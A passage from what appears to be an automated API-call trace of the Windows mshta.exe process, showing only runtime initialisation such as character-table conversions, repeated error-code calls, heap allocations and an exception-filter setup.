!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0028.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x3cfa24, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ(\x02\x97Ï\\ü<", lpUsedDefaultChar=0x0) returned 256 [0028.850] GetLastError () returned 0x0 [0028.850] SetLastError (dwErrCode=0x0) [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfb24, cbMultiByte=256, lpWideCharStr=0x3cf448, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Ø࢜쾗Ā") returned 256 [0028.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Ø࢜쾗Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0028.851] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뗞캈溂Ø࢜쾗Ā", cchSrc=256, lpDestStr=0x3cf238, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0028.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x3cf924, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ(\x02\x97Ï\\ü<", lpUsedDefaultChar=0x0) returned 256 [0028.851] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xd8b0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.851] SetLastError (dwErrCode=0x0) [0028.851] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.852] SetLastError (dwErrCode=0x0) [0028.852] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.853] SetLastError (dwErrCode=0x0) [0028.853] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.854] GetLastError () returned 0x0 [0028.854] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.855] GetLastError () returned 0x0 [0028.855] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.856] GetLastError () returned 0x0 [0028.856] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.857] GetLastError () returned 0x0 [0028.857] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.858] GetLastError () returned 0x0 [0028.858] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.859] GetLastError () returned 0x0 [0028.859] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1c8) returned 0x8e1610 [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.860] SetLastError (dwErrCode=0x0) [0028.860] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.861] SetLastError (dwErrCode=0x0) [0028.861] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.862] GetLastError () returned 0x0 [0028.862] SetLastError (dwErrCode=0x0) [0028.868] GetLastError () returned 0x0 [0028.868] SetLastError (dwErrCode=0x0) [0028.868] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.869] GetLastError () returned 0x0 [0028.869] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.870] GetLastError () returned 0x0 [0028.870] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.871] GetLastError () returned 0x0 [0028.871] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.872] GetLastError () returned 0x0 [0028.872] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.873] GetLastError () returned 0x0 [0028.873] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.874] GetLastError () returned 0x0 [0028.874] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.875] GetLastError () returned 0x0 [0028.875] SetLastError (dwErrCode=0x0) [0028.876] GetLastError () returned 0x0 [0028.876] SetLastError (dwErrCode=0x0) [0028.876] GetLastError () returned 0x0 [0028.876] SetLastError (dwErrCode=0x0) [0028.876] GetLastError () returned 0x0 [0028.876] SetLastError (dwErrCode=0x0) [0028.876] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x5fc) returned 0x8e17e0 [0028.876] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e0e78 | out: hHeap=0x8e0000) returned 1 [0028.877] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd82aef) returned 0x0 [0028.877] GetLastError () returned 0x0 [0028.877] SetLastError (dwErrCode=0x0) [0028.877] GetLastError () returned 0x0 [0028.877] SetLastError (dwErrCode=0x0) [0028.877] GetLastError () returned 0x0 [0028.877] SetLastError (dwErrCode=0x0) [0028.877] GetLastError () returned 0x0 [0028.878] SetLastError (dwErrCode=0x0) [0028.878] GetLastError () returned 0x0 [0028.878] SetLastError (dwErrCode=0x0) [0028.878] GetLastError () 